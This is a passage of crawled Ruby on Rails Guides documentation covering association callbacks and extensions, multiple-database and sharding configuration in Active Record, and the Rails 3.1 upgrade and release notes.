If for some reason you change the value of an owner model's primary key, and do not also update the foreign keys of the counted models, then the counter cache may have stale data. In other words, any orphaned models will still count towards the counter. To fix a stale counter cache, use [`reset_counters`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-reset_counters).

### [8.4. Callbacks](#callbacks)

[Normal callbacks](active_record_callbacks.html) hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.

Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection associated with an Active Record object. There are four available association callbacks:

* `before_add`
* `after_add`
* `before_remove`
* `after_remove`

You define association callbacks by adding options to the association declaration. For example:

```
class Author < ApplicationRecord
  has_many :books, before_add: :check_credit_limit

  def check_credit_limit(book)
    throw(:abort) if limit_reached?
  end
end
```

In this example, the `Author` model has a `has_many` association with `books`. The `before_add` callback `check_credit_limit` is triggered before a book is added to the collection. If the `limit_reached?` method returns `true`, the book is not added to the collection.

By using these association callbacks, you can customize the behavior of your associations, ensuring that specific actions are taken at key points in the life cycle of your collections.

Read more about association callbacks in the [Active Record Callbacks Guide](active_record_callbacks.html#association-callbacks)

### [8.5. Extensions](#extensions)

Rails provides the ability to extend the functionality of association proxy objects, which manage associations, by adding new finders, creators, or other methods through anonymous modules. This feature allows you to customize associations to meet the specific needs of your application.

You can extend a `has_many` association with custom methods directly within the model definition. For example:

```
class Author < ApplicationRecord
  has_many :books do
    def find_by_book_prefix(book_number)
      find_by(category_id: book_number[0..2])
    end
  end
end
```

In this example, the `find_by_book_prefix` method is added to the `books` association of the `Author` model. This custom method allows you to find `books` based on a specific prefix of the `book_number`.

If you have an extension that should be shared by multiple associations, you can use a named extension module. For example:

```
module FindRecentExtension
  def find_recent
    where("created_at > ?", 5.days.ago)
  end
end

class Author < ApplicationRecord
  has_many :books, -> { extending FindRecentExtension }
end

class Supplier < ApplicationRecord
  has_many :deliveries, -> { extending FindRecentExtension }
end
```

In this case, the `FindRecentExtension` module is used to add a `find_recent` method to both the `books` association in the `Author` model and the `deliveries` association in the `Supplier` model. This method retrieves records created within the last five days.

Extensions can interact with the internals of the association proxy using the `proxy_association` accessor. The `proxy_association` provides three important attributes:

* `proxy_association.owner` returns the object that the association is a part of.
* `proxy_association.reflection` returns the reflection object that describes the association.
* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.

These attributes allow extensions to access and manipulate the association proxy's internal state and behavior.

Here's an advanced example demonstrating how to use these attributes in an extension:

```
module AdvancedExtension
  def find_and_log(query)
    results = where(query)
    proxy_association.owner.logger.info("Querying #{proxy_association.reflection.name} with #{query}")
    results
  end
end

class Author < ApplicationRecord
  has_many :books, -> { extending AdvancedExtension }
end
```

In this example, the `find_and_log` method performs a query on the association and logs the query details using the owner's logger. The method accesses the owner's logger via `proxy_association.owner` and the association's name via `proxy_association.reflection.name`.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_multiple_databases.html
----

***

As an application grows in popularity and usage, you'll need to scale the application to support your new users and their data. One way in which your application may need to scale is on the database level. Rails supports using multiple databases, so you don't have to store your data all in one place.

At this time the following features are supported:

* Multiple writer databases and a replica for each
* Automatic connection switching for the model you're working with
* Automatic swapping between the writer and replica depending on the HTTP verb and recent writes
* Rails tasks for creating, dropping, migrating, and interacting with the multiple databases

The following features are not (yet) supported:

* Load balancing replicas

## [1. Setting up Your Application](#setting-up-your-application)

While Rails tries to do most of the work for you, there are still some steps you'll need to do to get your application ready for multiple databases.

Let's say we have an application with a single writer database, and we need to add a new database for some new tables we're adding. The name of the new database will be "animals".

`config/database.yml` looks like this:

```
production:
  database: my_primary_database
  adapter: mysql2
  username: root
  password: <%= ENV['ROOT_PASSWORD'] %>
```

Let's add a second database called "animals" and replicas for both databases as well. To do this, we need to change our `config/database.yml` from a 2-tier to a 3-tier config.

If a `primary` configuration key is provided, it will be used as the "default" configuration. If there is no configuration named `primary`, Rails will use the first configuration as default for each environment. The default configurations will use the default Rails filenames. For example, primary configurations will use `db/schema.rb` for the schema file, whereas all the other entries will use `db/[CONFIGURATION_NAMESPACE]_schema.rb` for the filename.

```
production:
  primary:
    database: my_primary_database
    username: root
    password: <%= ENV['ROOT_PASSWORD'] %>
    adapter: mysql2
  primary_replica:
    database: my_primary_database
    username: root_readonly
    password: <%= ENV['ROOT_READONLY_PASSWORD'] %>
    adapter: mysql2
    replica: true
  animals:
    database: my_animals_database
    username: animals_root
    password: <%= ENV['ANIMALS_ROOT_PASSWORD'] %>
    adapter: mysql2
    migrations_paths: db/animals_migrate
  animals_replica:
    database: my_animals_database
    username: animals_readonly
    password: <%= ENV['ANIMALS_READONLY_PASSWORD'] %>
    adapter: mysql2
    replica: true
```

Connection URLs for databases can also be configured using environment variables. The variable name is formed by concatenating the connection name with `_DATABASE_URL`. For example, setting `ANIMALS_DATABASE_URL="mysql2://username:password@host/database"` is merged into the `animals` configuration in `database.yml` in the `production` environment. See [Configuring a Database](configuring.html#configuring-a-database) for details about how the merging works.

When using multiple databases, there are a few important settings.

First, the database name for `primary` and `primary_replica` should be the same because they contain the same data. This is also the case for `animals` and `animals_replica`.

Second, the username for the writers and replicas should be different, and the replica user's database permissions should be set to only read and not write.

When using a replica database, you need to add a `replica: true` entry to the replica in `config/database.yml`. This is because Rails otherwise has no way of knowing which one is a replica and which one is the writer. Rails will not run certain tasks, such as migrations, against replicas.

Lastly, for new writer databases, you need to set the `migrations_paths` key to the directory where you will store migrations for that database. We'll look more at `migrations_paths` later on in this guide.

You can also configure the schema dump file by setting `schema_dump` to a custom schema file name or completely skip the schema dumping by setting `schema_dump: false`.

Now that we have a new database, let's set up the connection model.

The primary database replica may be configured in `ApplicationRecord` this way:

```
class ApplicationRecord < ActiveRecord::Base
  self.abstract_class = true

  connects_to database: { writing: :primary, reading: :primary_replica }
end
```

If you use a differently named class for your application record you need to set `primary_abstract_class` instead, so that Rails knows which class `ActiveRecord::Base` should share a connection with.

```
class PrimaryApplicationRecord < ActiveRecord::Base
  primary_abstract_class

  connects_to database: { writing: :primary, reading: :primary_replica }
end
```

In that case, classes that connect to `primary`/`primary_replica` can inherit from your primary abstract class like standard Rails applications do with `ApplicationRecord`:

```
class Person < PrimaryApplicationRecord
end
```

On the other hand, we need to set up our models persisted in the "animals" database:

```
class AnimalsRecord < ApplicationRecord
  self.abstract_class = true

  connects_to database: { writing: :animals, reading: :animals_replica }
end
```

Those models should inherit from that common abstract class:

```
class Dog < AnimalsRecord
  # Talks automatically to the animals database.
end
```

By default, Rails expects the database roles to be `writing` and `reading` for the primary and replica respectively. If you have a legacy system you may already have roles set up that you don't want to change. In that case you can set a new role name in your application config.

```
config.active_record.writing_role = :default
config.active_record.reading_role = :readonly
```

It's important to connect to your database in a single model and then inherit from that model for the tables rather than connect multiple individual models to the same database. Database clients have a limit to the number of open connections there can be, and if you do this, it will multiply the number of connections you have since Rails uses the model class name for the connection specification name.

Now that we have the `config/database.yml` and the new model set up, it's time to create the databases. Rails ships with all the commands you need to use multiple databases.

You can run `bin/rails --help` to see all the commands you're able to run. You should see the following:

```
$ bin/rails --help
...
db:create                          # Create the database from DATABASE_URL or config/database.yml for the ...
db:create:animals                  # Create animals database for current environment
db:create:primary                  # Create primary database for current environment
db:drop                            # Drop the database from DATABASE_URL or config/database.yml for the cu...
db:drop:animals                    # Drop animals database for current environment
db:drop:primary                    # Drop primary database for current environment
db:migrate                         # Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)
db:migrate:animals                 # Migrate animals database for current environment
db:migrate:primary                 # Migrate primary database for current environment
db:migrate:status                  # Display status of migrations
db:migrate:status:animals          # Display status of migrations for animals database
db:migrate:status:primary          # Display status of migrations for primary database
db:reset                           # Drop and recreates all databases from their schema for the current environment and loads the seeds
db:reset:animals                   # Drop and recreates the animals database from its schema for the current environment and loads the seeds
db:reset:primary                   # Drop and recreates the primary database from its schema for the current environment and loads the seeds
db:rollback                        # Roll the schema back to the previous version (specify steps w/ STEP=n)
db:rollback:animals                # Rollback animals database for current environment (specify steps w/ STEP=n)
db:rollback:primary                # Rollback primary database for current environment (specify steps w/ STEP=n)
db:schema:dump                     # Create a database schema file (either db/schema.rb or db/structure.sql  ...
db:schema:dump:animals             # Create a database schema file (either db/schema.rb or db/structure.sql  ...
db:schema:dump:primary             # Create a db/schema.rb file that is portable against any DB supported  ...
db:schema:load                     # Load a database schema file (either db/schema.rb or db/structure.sql  ...
db:schema:load:animals             # Load a database schema file (either db/schema.rb or db/structure.sql  ...
db:schema:load:primary             # Load a database schema file (either db/schema.rb or db/structure.sql  ...
db:setup                           # Create all databases, loads all schemas, and initializes with the seed data (use db:reset to also drop all databases first)
db:setup:animals                   # Create the animals database, loads the schema, and initializes with the seed data (use db:reset:animals to also drop the database first)
db:setup:primary                   # Create the primary database, loads the schema, and initializes with the seed data (use db:reset:primary to also drop the database first)
...
```

Running a command like `bin/rails db:create` will create both the primary and animals databases. Note that there is no command for creating the database users, and you'll need to do that manually to support the read-only users for your replicas. If you want to create just the animals database you can run `bin/rails db:create:animals`.

## [2. Connecting to Databases without Managing Schema and Migrations](#connecting-to-databases-without-managing-schema-and-migrations)

If you would like to connect to an external database without any database management tasks such as schema management, migrations, seeds, etc., you can set the per database config option `database_tasks: false`. By default it is set to true.

```
production:
  primary:
    database: my_database
    adapter: mysql2
  animals:
    database: my_animals_database
    adapter: mysql2
    database_tasks: false
```

## [3. Generators and Migrations](#generators-and-migrations)

Migrations for multiple databases should live in their own folders prefixed with the name of the database key in the configuration.

You also need to set `migrations_paths` in the database configurations to tell Rails where to find the migrations.

For example the `animals` database would look for migrations in the `db/animals_migrate` directory and `primary` would look in `db/migrate`. Rails generators now take a `--database` option so that the file is generated in the correct directory. The command can be run like so:

```
$ bin/rails generate migration CreateDogs name:string --database animals
```

If you are using Rails generators, the scaffold and model generators will create the abstract class for you. Simply pass the database key to the command line.

```
$ bin/rails generate scaffold Dog name:string --database animals
```

A class with the camelized database name and `Record` will be created. In this example the database is "animals" so we end up with `AnimalsRecord`:

```
class AnimalsRecord < ApplicationRecord
  self.abstract_class = true

  connects_to database: { writing: :animals }
end
```

The generated model will automatically inherit from `AnimalsRecord`.

```
class Dog < AnimalsRecord
end
```

Since Rails doesn't know which database is the replica for your writer you will need to add this to the abstract class after you're done.

Rails will only generate `AnimalsRecord` once. It will not be overwritten by new scaffolds or deleted if the scaffold is deleted.

If you already have an abstract class and its name differs from `AnimalsRecord`, you can pass the `--parent` option to indicate you want a different abstract class:

```
$ bin/rails generate scaffold Dog name:string --database animals --parent Animals::Record
```

This will skip generating `AnimalsRecord` since you've indicated to Rails that you want to use a different parent class.

## [4. Activating Automatic Role Switching](#activating-automatic-role-switching)

Finally, in order to use the read-only replica in your application, you'll need to activate the middleware for automatic switching.

Automatic switching allows the application to switch from the writer to the replica or the replica to the writer based on the HTTP verb and whether there was a recent write by the requesting user.

If the application receives a POST, PUT, DELETE, or PATCH request, the application will automatically write to the writer database. If the request is not one of those methods, but the application recently made a write, the writer database will also be used. All other requests will use the replica database.

To activate the automatic connection switching middleware you can run the automatic swapping generator:

```
$ bin/rails g active_record:multi_db
```

And then uncomment the following lines:

```
Rails.application.configure do
  config.active_record.database_selector = { delay: 2.seconds }
  config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
  config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
end
```

Rails guarantees "read your own write" and will send your GET or HEAD request to the writer if it's within the `delay` window. By default the delay is set to 2 seconds. You should change this based on your database infrastructure. Rails doesn't guarantee "read a recent write" for other users within the delay window and will send GET and HEAD requests to the replicas unless they wrote recently.

The automatic connection switching in Rails is relatively primitive and deliberately doesn't do a whole lot. The goal is a system that demonstrates how to do automatic connection switching that is flexible enough to be customizable by app developers.

The setup in Rails allows you to easily change how the switching is done and what parameters it's based on. Let's say you want to use a cookie instead of a session to decide when to swap connections. You can write your own class:

```
class MyCookieResolver < ActiveRecord::Middleware::DatabaseSelector::Resolver
  def self.call(request)
    new(request.cookies)
  end

  def initialize(cookies)
    @cookies = cookies
  end

  attr_reader :cookies

  def last_write_timestamp
    self.class.convert_timestamp_to_time(cookies[:last_write])
  end

  def update_last_write_timestamp
    cookies[:last_write] = self.class.convert_time_to_timestamp(Time.now)
  end

  def save(response)
  end
end
```

And then pass it to the middleware:

```
config.active_record.database_selector = { delay: 2.seconds }
config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
config.active_record.database_resolver_context = MyCookieResolver
```

## [5. Using Manual Connection Switching](#using-manual-connection-switching)

There are some cases where you may want your application to connect to a writer or a replica and the automatic connection switching isn't adequate. For example, you may know that for a particular request you always want to send the request to a replica, even when you are in a POST request path.

To do this Rails provides a `connected_to` method that will switch to the connection you need.

```
ActiveRecord::Base.connected_to(role: :reading) do
  # All code in this block will be connected to the reading role.
end
```

The "role" in the `connected_to` call looks up the connections that are connected on that connection handler (or role). The `reading` connection handler will hold all the connections that were connected via `connects_to` with the role name of `reading`.

Note that `connected_to` with a role will look up an existing connection and switch using the connection specification name. This means that if you pass an unknown role like `connected_to(role: :nonexistent)` you will get an error that says `ActiveRecord::ConnectionNotEstablished (No connection pool for 'ActiveRecord::Base' found for the 'nonexistent' role.)`

If you want Rails to ensure any queries performed are read-only, pass `prevent_writes: true`. This just prevents queries that look like writes from being sent to the database. You should also configure your replica database to run in read-only mode.

```
ActiveRecord::Base.connected_to(role: :reading, prevent_writes: true) do
  # Rails will check each query to ensure it's a read query.
end
```

## [6. Horizontal Sharding](#horizontal-sharding)

Horizontal sharding is when you split up your database to reduce the number of rows on each database server, but maintain the same schema across "shards". This is commonly called "multi-tenant" sharding.

The API for supporting horizontal sharding in Rails is similar to the multiple database / vertical sharding API that's existed since Rails 6.0.

Shards are declared in the three-tier config like this:

```
production:
  primary:
    database: my_primary_database
    adapter: mysql2
  primary_replica:
    database: my_primary_database
    adapter: mysql2
    replica: true
  primary_shard_one:
    database: my_primary_shard_one
    adapter: mysql2
    migrations_paths: db/migrate_shards
  primary_shard_one_replica:
    database: my_primary_shard_one
    adapter: mysql2
    replica: true
  primary_shard_two:
    database: my_primary_shard_two
    adapter: mysql2
    migrations_paths: db/migrate_shards
  primary_shard_two_replica:
    database: my_primary_shard_two
    adapter: mysql2
    replica: true
```

Models are then connected with the `connects_to` API via the `shards` key:

```
class ApplicationRecord < ActiveRecord::Base
  primary_abstract_class

  connects_to database: { writing: :primary, reading: :primary_replica }
end

class ShardRecord < ApplicationRecord
  self.abstract_class = true

  connects_to shards: {
    shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica },
    shard_two: { writing: :primary_shard_two, reading: :primary_shard_two_replica }
  }
end

class Person < ShardRecord
end
```

If you're using shards, make sure both `migrations_paths` and `schema_dump` remain unchanged for all the shards. When generating a migration you can pass the `--database` option and use one of the shard names. Since they all set the same path, it doesn't matter which one you choose.

```
$ bin/rails g scaffold Dog name:string --database primary_shard_one
```

Then models can swap shards manually via the `connected_to` API. If using sharding, both a `role` and a `shard` must be passed:

```
ShardRecord.connected_to(role: :writing, shard: :shard_one) do
  @person = Person.create! # Creates a record in shard shard_one
end

ShardRecord.connected_to(role: :writing, shard: :shard_two) do
  Person.find(@person.id) # Can't find record, doesn't exist because it was created
                   # in the shard named ":shard_one".
end
```

The horizontal sharding API also supports read replicas. You can swap the role and the shard with the `connected_to` API.

```
ShardRecord.connected_to(role: :reading, shard: :shard_one) do
  Person.first # Lookup record from read replica of shard one.
end
```

## [7. Activating Automatic Shard Switching](#activating-automatic-shard-switching)

Applications are able to automatically switch shards per request using the `ShardSelector` middleware, which allows an application to provide custom logic for determining the appropriate shard for each request.

The same generator used for the database selector above can be used to generate an initializer file for automatic shard swapping:

```
$ bin/rails g active_record:multi_db
```

Then in the generated `config/initializers/multi_db.rb` uncomment and modify the following code:

```
Rails.application.configure do
  config.active_record.shard_selector = { lock: true }
  config.active_record.shard_resolver = ->(request) { Tenant.find_by!(host: request.host).shard }
end
```

Applications must provide a resolver to provide application-specific logic. An example resolver that uses a subdomain to determine the shard might look like this:

```
config.active_record.shard_resolver = ->(request) {
  subdomain = request.subdomain
  tenant = Tenant.find_by_subdomain!(subdomain)
  tenant.shard
}
```

The behavior of `ShardSelector` can be altered through some configuration options.

`lock` is true by default and will prohibit the request from switching shards during the request. If `lock` is false, then shard swapping will be allowed. For tenant-based sharding, `lock` should always be true to prevent application code from mistakenly switching between tenants.

`class_name` is the name of the abstract connection class to switch. By default, the `ShardSelector` will use `ActiveRecord::Base`, but if the application has multiple databases, then this option should be set to the name of the sharded database's abstract connection class.

Options may be set in the application configuration. For example, this configuration tells `ShardSelector` to switch shards using `AnimalsRecord.connected_to`:

```
config.active_record.shard_selector = { lock: true, class_name: "AnimalsRecord" }
```

## [8. Granular Database Connection Switching](#granular-database-connection-switching)

Starting from Rails 6.1, it's possible to switch connections for one database instead of all databases globally.

With granular database connection switching, any abstract connection class will be able to switch connections without affecting other connections. This is useful for switching your `AnimalsRecord` queries to read from the replica while ensuring your `ApplicationRecord` queries go to the primary.

```
AnimalsRecord.connected_to(role: :reading) do
  Dog.first # Reads from animals_replica.
  Person.first  # Reads from primary.
end
```

It's also possible to swap connections granularly for shards.

```
AnimalsRecord.connected_to(role: :reading, shard: :shard_one) do
  # Will read from shard_one_replica. If no connection exists for shard_one_replica,
  # a ConnectionNotEstablished error will be raised.
  Dog.first

  # Will read from primary writer.
  Person.first
end
```

To switch only the primary database cluster use `ApplicationRecord`:

```
ApplicationRecord.connected_to(role: :reading, shard: :shard_one) do
  Person.first # Reads from primary_shard_one_replica.
  Dog.first # Reads from animals_primary.
end
```

`ActiveRecord::Base.connected_to` maintains the ability to switch connections globally.

### [8.1. Handling Associations with Joins across Databases](#handling-associations-with-joins-across-databases)

As of Rails 7.0+, Active Record has an option for handling associations that would perform a join across multiple databases. If you have a has many through or a has one through association that you want to disable joining and perform 2 or more queries, pass the `disable_joins: true` option.

For example:

```
class Dog < AnimalsRecord
  has_many :treats, through: :humans, disable_joins: true
  has_many :humans

  has_one :home
  has_one :yard, through: :home, disable_joins: true
end

class Home
  belongs_to :dog
  has_one :yard
end

class Yard
  belongs_to :home
end
```

Previously calling `@dog.treats` without `disable_joins` or `@dog.yard` without `disable_joins` would raise an error because databases are unable to handle joins across clusters. With the `disable_joins` option, Rails will generate multiple select queries to avoid attempting joining across clusters. For the above association, `@dog.treats` would generate the following SQL:

```
SELECT "humans"."id" FROM "humans" WHERE "humans"."dog_id" = ?  [["dog_id", 1]]
SELECT "treats".* FROM "treats" WHERE "treats"."human_id" IN (?, ?, ?)  [["human_id", 1], ["human_id", 2], ["human_id", 3]]
```

While `@dog.yard` would generate the following SQL:

```
SELECT "home"."id" FROM "homes" WHERE "homes"."dog_id" = ? [["dog_id", 1]]
SELECT "yards".* FROM "yards" WHERE "yards"."home_id" = ? [["home_id", 1]]
```

There are some important things to be aware of with this option:

1. There may be performance implications since now two or more queries will be performed (depending on the association) rather than a join. If the select for `humans` returned a high number of IDs the select for `treats` may send too many IDs.
2. Since we are no longer performing joins, a query with an order or limit is now sorted in-memory since order from one table cannot be applied to another table.
3. This setting must be added to all associations where you want joining to be disabled. Rails can't guess this for you because association loading is lazy, to load `treats` in `@dog.treats` Rails already needs to know what SQL should be generated.

### [8.2. Schema Caching](#schema-caching)

If you want to load a schema cache for each database you must set `schema_cache_path` in each database configuration and set `config.active_record.lazily_load_schema_cache = true` in your application configuration. Note that this will lazily load the cache when the database connections are established.

## [9. Caveats](#caveats)

### [9.1. Load Balancing Replicas](#load-balancing-replicas)

Rails doesn't support automatic load balancing of replicas. This is very dependent on your infrastructure. We may implement basic, primitive load balancing in the future, but for an application at scale this should be something your application handles outside of Rails.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/3_1_release_notes.html
----

***

## [1. Upgrading to Rails 3.1](#upgrading-to-rails-3-1)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:

### [1.1. Rails 3.1 requires at least Ruby 1.8.7](#rails-3-1-requires-at-least-ruby-1-8-7)

Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.

### [1.2. What to update in your apps](#what-to-update-in-your-apps)

The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.

#### [1.2.1. Gemfile](#gemfile)

Make the following changes to your `Gemfile`.

```
gem "rails", "= 3.1.3"
gem "mysql2"

# Needed for the new asset pipeline
group :assets do
  gem "sass-rails",   "~> 3.1.5"
  gem "coffee-rails", "~> 3.1.1"
  gem "uglifier",     ">= 1.0.3"
end

# jQuery is the default JavaScript library in Rails 3.1
gem "jquery-rails"
```

#### [1.2.2. config/application.rb](#config-application-rb)

* The asset pipeline requires the following additions:

  ```
  config.assets.enabled = true
  config.assets.version = '1.0'
  ```

* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

  ```
  # Defaults to '/assets'
  config.assets.prefix = '/asset-files'
  ```

#### [1.2.3. config/environments/development.rb](#config-environments-development-rb)

* Remove the RJS setting `config.action_view.debug_rjs = true`.

* Add the following, if you enable the asset pipeline.

  ```
  # Do not compress assets
  config.assets.compress = false

  # Expands the lines which load the assets
  config.assets.debug = true
  ```

#### [1.2.4. config/environments/production.rb](#config-environments-production-rb)

* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.

  ```
  # Compress JavaScripts and CSS
  config.assets.compress = true

  # Don't fallback to assets pipeline if a precompiled asset is missed
  config.assets.compile = false

  # Generate digests for assets URLs
  config.assets.digest = true

  # Defaults to Rails.root.join("public/assets")
  # config.assets.manifest = YOUR_PATH

  # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
  # config.assets.precompile `= %w( admin.js admin.css )

  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
  # config.force_ssl = true
  ```

#### [1.2.5. config/environments/test.rb](#config-environments-test-rb)

```
# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
```

#### [1.2.6. config/initializers/wrap\_parameters.rb](#config-initializers-wrap-parameters-rb)

* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

  ```
  # Be sure to restart your server when you modify this file.
  # This file contains settings for ActionController::ParamsWrapper which
  # is enabled by default.

  # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
  ActiveSupport.on_load(:action_controller) do
    wrap_parameters :format => [:json]
  end

  # Disable root element in JSON by default.
  ActiveSupport.on_load(:active_record) do
    self.include_root_in_json = false
  end
  ```

#### [1.2.7. Remove :cache and :concat options in asset helpers references in views](#remove-cache-and-concat-options-in-asset-helpers-references-in-views)

* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

## [2. Creating a Rails 3.1 application](#creating-a-rails-3-1-application)

```
# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```

### [2.1. Vendoring Gems](#vendoring-gems)

Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - [bundler homepage](https://bundler.io/)

### [2.2. Living on the Edge](#living-on-the-edge)

`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:

```
$ rails new myapp --edge
```

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:

```
$ ruby /path/to/rails/railties/bin/rails new myapp --dev
```

## [3. Rails Architectural Changes](#rails-architectural-changes)

### [3.1. Assets Pipeline](#assets-pipeline)

The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.

The assets pipeline is powered by [Sprockets](https://github.com/rails/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide.

### [3.2. HTTP Streaming](#http-streaming)

HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.

### [3.3. Default JS library is now jQuery](#default-js-library-is-now-jquery)

jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.

```
$ rails new myapp -j prototype
```

### [3.4. Identity Map](#identity-map)

Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.

Rails 3.1 comes with the identity map turned off by default.

## [4. Railties](#railties)

* jQuery is the new default JavaScript library.

* jQuery and Prototype are no longer vendored and is provided from now on by the `jquery-rails` and `prototype-rails` gems.

* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo\_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.

* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified.

* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available.

* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed.

* Scaffold controller generator creates format block for JSON instead of XML.

* Active Record logging is directed to STDOUT and shown inline in the console.

* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol.

* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing.

* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack.

* Added `Rack::Cache` to the default middleware stack.

* Engines received a major update - You can mount them at any path, enable assets, run generators, etc.

## [5. Action Pack](#action-pack)

### [5.1. Action Controller](#action-controller)

* A warning is given out if the CSRF token authenticity cannot be verified.

* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used.

* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log.

* URL parameters which return `nil` for `to_param` are now removed from the query string.

* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`.

* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application\_helper and the helper corresponding to controller (like foo\_helper for foo\_controller).

* `url_for` and named URL helpers now accept `:subdomain` and `:domain` as options.

* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call.

  ```
  class PostsController < ApplicationController
    USER_NAME, PASSWORD = "dhh", "secret"

    before_filter :authenticate, :except => [ :index ]

    def index
      render :text => "Everyone can see me!"
    end

    def edit
      render :text => "I'm only accessible if you know the password"
    end

    private
      def authenticate
        authenticate_or_request_with_http_basic do |user_name, password|
          user_name == USER_NAME && password == PASSWORD
        end
      end
  end
  ```

  ..can now be written as

  ```
  class PostsController < ApplicationController
    http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index

    def index
      render :text => "Everyone can see me!"
    end

    def edit
      render :text => "I'm only accessible if you know the password"
    end
  end
  ```

* Added streaming support, you can enable it with:

  ```
  class PostsController < ActionController::Base
    stream
  end
  ```

  You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](https://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.

* The redirect route method now also accepts a hash of options which will only change the parts of the URL in question, or an object which responds to call, allowing for redirects to be reused.

### [5.2. Action Dispatch](#action-dispatch)

* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`.

* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array.

* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers.

* Added `Rack::Cache` to the default stack.

* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack.

* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`.

* Template lookup now searches further up in the inheritance chain.

### [5.3. Action View](#action-view)

* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`.

* Created `ActionView::Renderer` and specified an API for `ActionView::Context`.

* In place `SafeBuffer` mutation is prohibited in Rails 3.1.

* Added HTML5 `button_tag` helper.

* `file_field` automatically adds `:multipart => true` to the enclosing form.

* Added a convenience idiom to generate HTML5 data-\* attributes in tag helpers from a `:data` hash of options:

  ```
  tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
  # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
  ```

Keys are dasherized. Values are JSON-encoded, except for strings and symbols.

* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility.

